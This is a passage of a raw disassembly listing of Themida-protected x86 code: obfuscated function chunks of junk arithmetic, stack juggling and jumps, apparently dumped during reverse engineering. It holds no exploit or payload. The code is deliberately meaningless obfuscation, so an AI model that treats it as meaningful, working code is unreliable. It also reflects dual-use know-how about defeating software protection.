FUNCTION CHUNK FOR sub_570E81 ; =============== S U B R O U T I N E ======================================= sub_56241E proc near ; DATA XREF: Themida_:0055FD8Co var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00560760 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00560C54 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00561040 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00561460 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00562125 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005623A1 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00562962 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00562BF0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056580A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00565CFE SIZE 00000038 BYTES ; FUNCTION CHUNK AT 00566202 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00566847 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00567E0C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005692EB SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0056A7AD SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056B879 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056C667 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056EDE3 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005719E7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005727DC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0057388A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0057394F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00573A41 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00573C5E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00574AE6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0057543A SIZE 0000001B BYTES lodsw xor ax, bx jmp loc_574AE6 sub_56241E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56638C loc_562428: ; CODE XREF: sub_56638C+1D9Aj sub esi, 45F84011h jmp loc_564CAF ; END OF FUNCTION CHUNK FOR sub_56638C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_562433: ; CODE XREF: sub_564D26-2364j sub ebx, 4C02379Dh sub ebx, 56477267h pop ecx add ebx, 4 xor ebx, [esp+0Ch+var_C] xor [esp+0Ch+var_C], ebx jmp loc_56B296 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570621 loc_56244E: ; CODE XREF: sub_570621+2B41j pop ebx jmp loc_560F14 ; END OF FUNCTION CHUNK FOR sub_570621 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572E16 loc_562454: ; CODE XREF: sub_572E16-3944j xchg eax, [esp+4+var_4] pop esp push dword ptr [esp+0] jmp loc_5744A9 ; END OF FUNCTION CHUNK FOR sub_572E16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D69D loc_562460: ; CODE XREF: sub_56D69D-7E1Cj xchg edi, edx not edi xchg edi, edx shr edx, 4 sub edx, 0C41DA9ABh jmp loc_56BF9D ; END OF FUNCTION CHUNK FOR sub_56D69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572D45 loc_562474: ; CODE XREF: sub_572D45-D0DFj add eax, 28DA2996h jmp loc_567209 ; END OF FUNCTION CHUNK FOR sub_572D45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572141 loc_56247E: ; CODE XREF: sub_572141-A672j add ebp, 5461161Ch add ebp, esi sub ebp, 5461161Ch pop esi push eax mov eax, 587C4935h jmp loc_56F708 ; END OF FUNCTION CHUNK FOR sub_572141 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_562498: ; CODE XREF: sub_574F16-F00j push cx mov cl, 0E8h add dl, cl mov cx, word ptr [esp+4+var_6+2] push edx mov edx, esp add edx, 4 push edi mov edi, 2 add edx, edi pop edi xchg edx, [esp+8+var_A+2] jmp loc_573E58 ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57523A loc_5624BC: ; CODE XREF: sub_57523A-A774j mov esi, 613B5EEEh push esi sub [esp+14h+var_14], 0C1B68D1h pop ebp push eax mov eax, 18562885h dec eax or eax, 2DCC08D1h shl eax, 4 jmp loc_56D091 ; END OF FUNCTION CHUNK FOR sub_57523A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_5624DE: ; CODE XREF: sub_570732+CAj mov ebx, [esp+20h+var_20] add esp, 4 pop [esp+1Ch+var_1C] mov esp, [esp+18h+var_18] mov ebx, [esp+4+var_4] jmp loc_568362 ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_5624F5: ; CODE XREF: sub_56E126-84ABj xor esi, ebp xor ebp, esi jmp loc_567D55 ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_5624FE: ; CODE XREF: sub_568E5C-5BACj add esp, 4 mov ecx, eax pop eax and ecx, 7E133059h sub esp, 4 mov [esp+8+var_8], ecx push eax pop ecx pop eax not eax push ecx jmp loc_5622B9 ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5671E1 loc_56251E: ; CODE XREF: sub_5671E1+12j add [esp+8+var_8], 4 jmp loc_563A21 ; END OF FUNCTION CHUNK FOR sub_5671E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_562527: ; CODE XREF: sub_564D26+5837j add esp, 4 not esi xchg ebx, esi xchg ebp, ebx push ebp jmp loc_56C5E1 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- loc_562539: ; CODE XREF: Themida_:00560733j mov [esp], eax jmp loc_562A90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566B79 loc_562541: ; CODE XREF: sub_566B79-2265j push [esp+4+var_4] pop eax jmp sub_56AA2B ; END OF FUNCTION CHUNK FOR sub_566B79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_56254A: ; CODE XREF: sub_561027+5968j mov edi, 69CF11BBh shl edi, 7 or edi, 1CDC2031h jmp loc_56D8D0 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5715F0 loc_56255D: ; CODE XREF: sub_5715F0-FCAEj push [esp-4+arg_4] mov ebx, [esp+0] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] pop esp pop dword ptr [esp+0] mov esp, [esp-4+arg_0] mov cx, word ptr [esp-4+arg_0] jmp sub_56C79C ; END OF FUNCTION CHUNK FOR sub_5715F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C553 loc_562583: ; CODE XREF: sub_56C553+5FB4j add esp, 4 jmp sub_567D31 ; END OF FUNCTION CHUNK FOR sub_56C553 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56638C loc_56258B: ; CODE XREF: sub_56638C+EC82j pop edi add esp, 4 sub esp, 4 mov [esp+2+var_4+2], ebx push ecx mov ecx, 2 mov ebx, ecx pop ecx sub edx, 4DA3427Eh add edx, 69A52270h add edx, ebx push ecx mov ecx, 7B941AC7h neg ecx neg ecx jmp loc_569EC5 ; END OF FUNCTION CHUNK FOR sub_56638C ; --------------------------------------------------------------------------- loc_5625C1: ; CODE XREF: Themida_:00572ED7j mov cx, [esp] push ebx push esp pop ebx push edx jmp loc_57008A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560C12 loc_5625CE: ; CODE XREF: sub_560C12+10965j xchg ebx, [esp+8+var_8] jmp loc_564659 ; END OF FUNCTION CHUNK FOR sub_560C12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570621 loc_5625D6: ; CODE XREF: sub_570621-F6F3j add esp, 4 jmp loc_56533B ; END OF FUNCTION CHUNK FOR sub_570621 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E90A loc_5625DE: ; CODE XREF: sub_56E90A+7j mov [esp+4+var_4], eax mov eax, esp sub esp, 4 mov [esp+8+var_8], ebx jmp sub_56BD44 ; END OF FUNCTION CHUNK FOR sub_56E90A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_5625EE: ; CODE XREF: sub_571F6F-4310j pop esp dec dh inc dh dec dh push bx mov bh, 0D8h add dh, bh mov bx, word ptr [esp+12h+var_14+2] add esp, 2 mov bh, dh mov edx, [esp+0Eh+var_E] jmp loc_5742BB ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_56260C: ; CODE XREF: sub_563819-2DB5j mov ebp, [esp+0] add esp, 4 add ebx, 281A10EBh add ebx, eax push ebp mov ebp, 281A10EBh sub ebx, ebp pop ebp pop eax mov ecx, [esp-8+arg_4] push edi mov edi, esp jmp loc_569750 ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- loc_56262F: ; CODE XREF: Themida_:0056B679j pop esp mov ecx, 4A95730Fh sub ecx, edx push dword ptr [esp] pop edx push esi mov esi, esp jmp loc_56233B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EFD2 loc_562643: ; CODE XREF: sub_56EFD2+181Aj add edi, esi pop esi push edi jmp loc_56B685 ; END OF FUNCTION CHUNK FOR sub_56EFD2 ; =============== S U B R O U T I N E ======================================= sub_56264C proc near ; DATA XREF: Themida_:0055FE50o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00561AEF SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00563752 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056984D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056B2B4 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056E92D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00571F8A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00572CCA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00574F0B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0057519D SIZE 00000006 BYTES lodsd jmp loc_574F0B sub_56264C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680AC loc_562652: ; CODE XREF: sub_5680AC-1764j sub eax, 294F6C87h add eax, ebx add eax, 294F6C87h jmp loc_574FA5 ; END OF FUNCTION CHUNK FOR sub_5680AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_562663: ; CODE XREF: sub_56B11B-27C3j pop eax xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx jmp loc_56B443 ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56638C loc_56266F: ; CODE XREF: sub_56638C-4E73j mov edx, esp jmp loc_5749DE ; END OF FUNCTION CHUNK FOR sub_56638C ; =============== S U B R O U T I N E ======================================= sub_562676 proc near ; DATA XREF: Themida_:0055FE38o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005632C8 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056C069 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056CD68 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056FBEB SIZE 00000017 BYTES push dword ptr [esp+0] pop eax sub esp, 4 mov [esp+4+var_4], esi mov esi, esp push ecx push 4 pop ecx push eax push 72C34B76h pop eax or eax, 3F513250h jmp loc_56C069 sub_562676 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_56269D: ; CODE XREF: sub_572075-72F3j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+8+var_8] mov esp, [esp+8+var_8] jmp loc_566B9C ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D4B8 loc_5626B6: ; CODE XREF: sub_56D4B8-3801j add esi, 4 xchg esi, [esp-4+arg_0] pop esp and ecx, edi mov edi, [esp-8+arg_4] jmp loc_570A68 ; END OF FUNCTION CHUNK FOR sub_56D4B8 ; --------------------------------------------------------------------------- loc_5626C7: ; CODE XREF: Themida_:00561476j push 5F24h mov [esp], ebp push edx push ebp jmp loc_5694F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_5626D6: ; CODE XREF: sub_5605BC+C09Cj sub eax, 4 xchg eax, [esp+14h+var_14] pop esp mov [esp+10h+var_10], edx mov edx, 7D7163AFh shl edx, 1 push ebx mov ebx, 35D007D9h xor edx, ebx pop ebx neg edx push ebx push edx mov edx, 15834D3Ah push 8D0DA585h jmp loc_573ECF ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_562703: ; CODE XREF: sub_57354D+18A7j and eax, 664E4C51h xor eax, 4EF01176h xor eax, 35687545h sub ebp, 43E275E8h jmp loc_56F6D6 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747AF loc_56271D: ; CODE XREF: sub_5747AF-FAABj mov ebp, [esp+18h+var_18] add esp, 4 jmp loc_570A07 ; END OF FUNCTION CHUNK FOR sub_5747AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D464 loc_56272B: ; CODE XREF: sub_56D464-2FD3j pop esp jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56D464 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5637A1 loc_562731: ; CODE XREF: sub_5637A1+1Aj add esp, 4 add edx, 4 add edx, 4 push 34A5h jmp loc_562EFE ; END OF FUNCTION CHUNK FOR sub_5637A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5753A5 loc_56274A: ; CODE XREF: sub_5753A5-576Cj neg esi push 3A3Ch mov [esp+10h+var_10], ebp mov ebp, 7641391Dh jmp loc_5740BD ; END OF FUNCTION CHUNK FOR sub_5753A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564EBE loc_56275E: ; CODE XREF: sub_564EBE+3E7Fj add edi, 4 push esi mov esi, 586F0C1Ah jmp loc_572F4E ; END OF FUNCTION CHUNK FOR sub_564EBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567866 loc_56276F: ; CODE XREF: sub_567866+6672j push eax mov eax, 4 add edi, eax pop eax jmp loc_5646E4 ; END OF FUNCTION CHUNK FOR sub_567866 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A3 loc_56277D: ; CODE XREF: sub_5687A3+60A0j xor ecx, ebx jmp loc_56A659 ; END OF FUNCTION CHUNK FOR sub_5687A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5726FB loc_562784: ; CODE XREF: sub_5726FB-B700j add esi, 35281751h shl esi, 8 push edi mov edi, 0D2FC2FFh add esi, edi pop edi mov ecx, esi push [esp+4+var_4] pop esi jmp loc_568E3F ; END OF FUNCTION CHUNK FOR sub_5726FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE9F loc_5627A1: ; CODE XREF: sub_56EE9F-283Dj add esp, 4 xor edi, 1FD4784Eh sub edi, 20A07762h jmp loc_56016B ; END OF FUNCTION CHUNK FOR sub_56EE9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_5627B8: ; CODE XREF: sub_56616D+E740j push edi mov edi, 203103C0h or edx, edi mov edi, [esp-4+arg_0] add esp, 4 jmp loc_5712C3 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_5627CE: ; CODE XREF: sub_561418+8AC3j push 25FE5714h mov ebx, [esp+0] add esp, 4 jmp loc_56223C ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_5627E1: ; CODE XREF: sub_571C93-B2E6j pop esp push dword ptr [esp+0] jmp loc_572A8F ; END OF FUNCTION CHUNK FOR sub_571C93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566400 loc_5627EA: ; CODE XREF: sub_566400+9B26j add eax, 3AF142FAh jmp sub_56DAB2 ; END OF FUNCTION CHUNK FOR sub_566400 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_5627F4: ; CODE XREF: sub_564D26+B228j mov [esp+0Ch+var_C], edx mov edx, 4 add edi, 40866211h add edi, edx sub edi, 40866211h pop edx add edi, 4 jmp loc_572230 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_562816: ; CODE XREF: sub_56628B-4876j or esi, 4D172254h sub esi, 6E687ECBh jmp loc_5742DF ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_562827: ; CODE XREF: sub_57354D-5248j sub [esp+8+var_4], 8CF317Ah pop ebx mov ecx, [esp+4+var_4] push ebx jmp loc_561300 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- loc_562839: ; CODE XREF: Themida_:00574244j shr edi, 6 sub edi, 27582D52h jmp loc_56994B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_562847: ; CODE XREF: sub_574949-2AD9j push esi mov esi, 358B7E9Ch xor esi, eax jmp loc_565DAE ; END OF FUNCTION CHUNK FOR sub_574949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5733CA loc_562854: ; CODE XREF: sub_5733CA-1104Ej push edi mov edi, 228A747Eh not edi dec edi dec edi sub edi, 7C4776D6h mov edx, edi pop edi and edx, 5C8063ABh add edx, 0BFFFFF59h add ecx, edx pop edx jmp loc_566911 ; END OF FUNCTION CHUNK FOR sub_5733CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56287B: ; CODE XREF: sub_561418+EFC9j push esp jmp loc_574C78 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568764 loc_562881: ; CODE XREF: sub_568764+1DE1j mov [edx], al jmp loc_56F5A6 ; END OF FUNCTION CHUNK FOR sub_568764 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_562888: ; CODE XREF: sub_56AB5E+9A8Fj push edx mov edx, esp jmp loc_5751A9 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56513E loc_562890: ; CODE XREF: sub_56513E+61C4j xor esi, 7A070117h xor esi, 3F8B4D3Dh push ebp mov ebp, 5AE90C7Eh sub ebp, 7F2D5EC0h jmp loc_5743FB ; END OF FUNCTION CHUNK FOR sub_56513E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575315 loc_5628AD: ; CODE XREF: sub_575315-11D74j inc ecx shl ecx, 3 add ecx, 0A9ED889Dh and ebp, ecx pop ecx push 347Fh jmp loc_568A86 ; END OF FUNCTION CHUNK FOR sub_575315 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5610CE loc_5628C4: ; CODE XREF: sub_5610CE+143FAj mov esi, [esp+4+var_4] add esp, 4 sub esp, 4 mov [esp+4+var_4], eax mov eax, 69477DEEh add ebp, eax jmp loc_5746FC ; END OF FUNCTION CHUNK FOR sub_5610CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571289 loc_5628DF: ; CODE XREF: sub_571289-F4F1j add eax, edx pop edx pop ebx jmp loc_56BA12 ; END OF FUNCTION CHUNK FOR sub_571289 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572E16 loc_5628E8: ; CODE XREF: sub_572E16-C737j mov esi, 39E7361Dh not esi push edx push ebp push 36E85AA3h pop ebp push ebp jmp loc_5606A5 ; END OF FUNCTION CHUNK FOR sub_572E16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_5628FD: ; CODE XREF: sub_574F16-C57Cj and dl, 67h push ecx jmp loc_56A005 ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_562906: ; CODE XREF: sub_574A21-12B33j sub esi, 6FC218D9h add esi, ecx add esi, 6FC218D9h pop ecx sub esi, edx sub esi, 450445FDh push [esp+8+var_8] pop edx push 2641h mov [esp+0Ch+var_C], esi mov esi, esp push edx jmp loc_569247 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F1F0 loc_562931: ; CODE XREF: sub_56F1F0+5B11j sub esi, ebp pop ebp sub esi, 2E7230F6h inc esi sub esi, 8B71C4C3h add edi, esi pop esi sub edi, edx sub edi, 5C4A144Ah mov edx, [esp+0] jmp loc_5620E1 ; END OF FUNCTION CHUNK FOR sub_56F1F0 ; =============== S U B R O U T I N E ======================================= sub_562954 proc near ; CODE XREF: sub_564BC5+716Cj ; FUNCTION CHUNK AT 00569157 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00572F41 SIZE 0000000D BYTES push ebp mov ebp, 453A4AA0h mov edi, ebp pop ebp jmp loc_569157 sub_562954 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_562962: ; CODE XREF: sub_56241E-13C5j xor dx, cx jmp loc_560C54 ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A7FB loc_56296A: ; CODE XREF: sub_56A7FB-9838j sub ch, dh push [esp+8+var_8] pop edx add esp, 4 add al, 0E5h sub al, ch sub al, 0E5h pop cx sub al, bl push ebx jmp loc_574F9F ; END OF FUNCTION CHUNK FOR sub_56A7FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_562986: ; CODE XREF: sub_572075-10753j push ecx mov ecx, esp push 2B98h mov [esp+8+var_8], esi mov esi, 1D2B409Fh not esi push edx mov edx, 1D490F5Ch sub esi, 113F4CBCh jmp loc_56BFFB ; END OF FUNCTION CHUNK FOR sub_572075 ; =============== S U B R O U T I N E ======================================= sub_5629A9 proc near ; DATA XREF: Themida_:0055FDC0o neg word ptr [esp+0] pushf jmp loc_55FF9F sub_5629A9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_5629B3: ; CODE XREF: sub_564D26-478Ej pop edi add ebx, 56477267h add ebx, 4C02379Dh add ebx, ecx jmp loc_562433 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_5629C7: ; CODE XREF: sub_561418+123DEj add eax, ebp pop ebp add ecx, eax pop eax add ecx, edx push esi mov esi, 273E5483h push edi jmp loc_570103 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_5629DB: ; CODE XREF: sub_5685B2-8401j pop ebp jmp loc_5702F4 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C83 loc_5629E1: ; CODE XREF: sub_566C83+D553j add ebx, ecx mov ecx, [esp+4+var_4] jmp loc_560655 ; END OF FUNCTION CHUNK FOR sub_566C83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_5629EB: ; CODE XREF: sub_57549C-2DE6j pop ebp add eax, edx add eax, 1E7D67C6h mov edx, [esp+4+var_4] add esp, 4 sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 6E201682h jmp loc_564151 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_562A0F: ; CODE XREF: sub_56BD44-9D32j pop esp add eax, 8EB5816h jmp loc_561D89 ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD97 loc_562A1A: ; CODE XREF: sub_56FD97-6026j mov esi, 22622D6h add eax, 576B0625h sub eax, esi push edi mov edi, 576B0625h sub eax, edi pop edi jmp loc_565E14 ; END OF FUNCTION CHUNK FOR sub_56FD97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_562A34: ; CODE XREF: sub_56657A-1FA0j push ecx mov ecx, esp add ecx, 4 push esi mov esi, 4 sub ecx, esi jmp loc_575261 ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5731F9 loc_562A4A: ; CODE XREF: sub_5731F9+13j add bl, 0E2h pop ecx sub bl, 1 push 0 jmp loc_574E8E ; END OF FUNCTION CHUNK FOR sub_5731F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_562A5B: ; CODE XREF: sub_5685B2-31A6j pop edx and esi, ecx pop ecx add esi, 22BB73AFh push 0E8Eh mov [esp-10h+arg_C], ebp mov ebp, 36A652E8h dec ebp xor ebp, 417106DFh shl ebp, 1 jmp loc_57124A ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_562A80: ; CODE XREF: sub_56AB5E-1A9Ej pop esp xor al, dh mov edx, [esp+4+var_4] add esp, 4 xor bl, al jmp loc_560BDC ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- loc_562A90: ; CODE XREF: Themida_:0056253Cj mov eax, 60C55633h jmp loc_5663F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569DB5 loc_562A9A: ; CODE XREF: sub_569DB5+9B3Aj mov [esp+8+var_8], ebx mov ebx, 4 jmp loc_566CAC ; END OF FUNCTION CHUNK FOR sub_569DB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564020 loc_562AA7: ; CODE XREF: sub_564020+A189j add esp, 4 xor eax, edi pop edi push edx mov edx, 55C5BEBh push 25B5h mov [esp+4+var_4], ebp mov ebp, 4BE73788h xor edx, ebp pop ebp push edi push ebx mov ebx, 37DD4458h mov edi, 0AA96BE2Ah sub edi, ebx pop ebx sub ebx, edi push [esp+4+var_4] pop edi jmp loc_564393 ; END OF FUNCTION CHUNK FOR sub_564020 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_562AE0: ; CODE XREF: sub_574A21-CA34j xor ebx, [esp+8+var_8] xor [esp+8+var_8], ebx xor ebx, [esp+8+var_8] pop esp mov [esp+4+var_4], edx jmp loc_560F6A ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- loc_562AF2: ; CODE XREF: Themida_:00560CB0j sub esp, 4 mov [esp], eax push 3568h mov [esp], esp push edx mov edx, 4 add [esp+4], edx pop edx pop eax push ebx mov ebx, 1AD90317h shl ebx, 3 sub ebx, 5141724h dec ebx push ecx mov ecx, 58E84516h or ecx, 33BE70E9h and ecx, 7474690Ah jmp loc_56B0DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_562B36: ; CODE XREF: sub_56E126-A8A3j push 8ABh mov [esp+8+var_8], ebp push 454A736Eh pop ebp jmp sub_56D589 ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_562B49: ; CODE XREF: sub_56616D+897Fj not ecx jmp loc_573607 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- loc_562B50: ; CODE XREF: Themida_:00564D98j xchg edx, [esp] pop esp mov [esp], edi mov edi, 4 sub eax, 687C24C3h add eax, edi add eax, 687C24C3h jmp loc_5696B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566B37 loc_562B6D: ; CODE XREF: sub_566B37+Cj push [esp+4+var_4] pop ebp add esp, 4 push 138Ch jmp loc_5670F8 ; END OF FUNCTION CHUNK FOR sub_566B37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_562B7E: ; CODE XREF: sub_56102D+ED3Dj add ebp, ebx sub ebp, 446D2D6Fh pop ebx sub ebp, 4 push ebp push [esp+arg_0] jmp loc_56777D ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_562B97: ; CODE XREF: sub_56628B-622Aj mov [esp+8+var_8], edi push ebp jmp loc_5702CE ; END OF FUNCTION 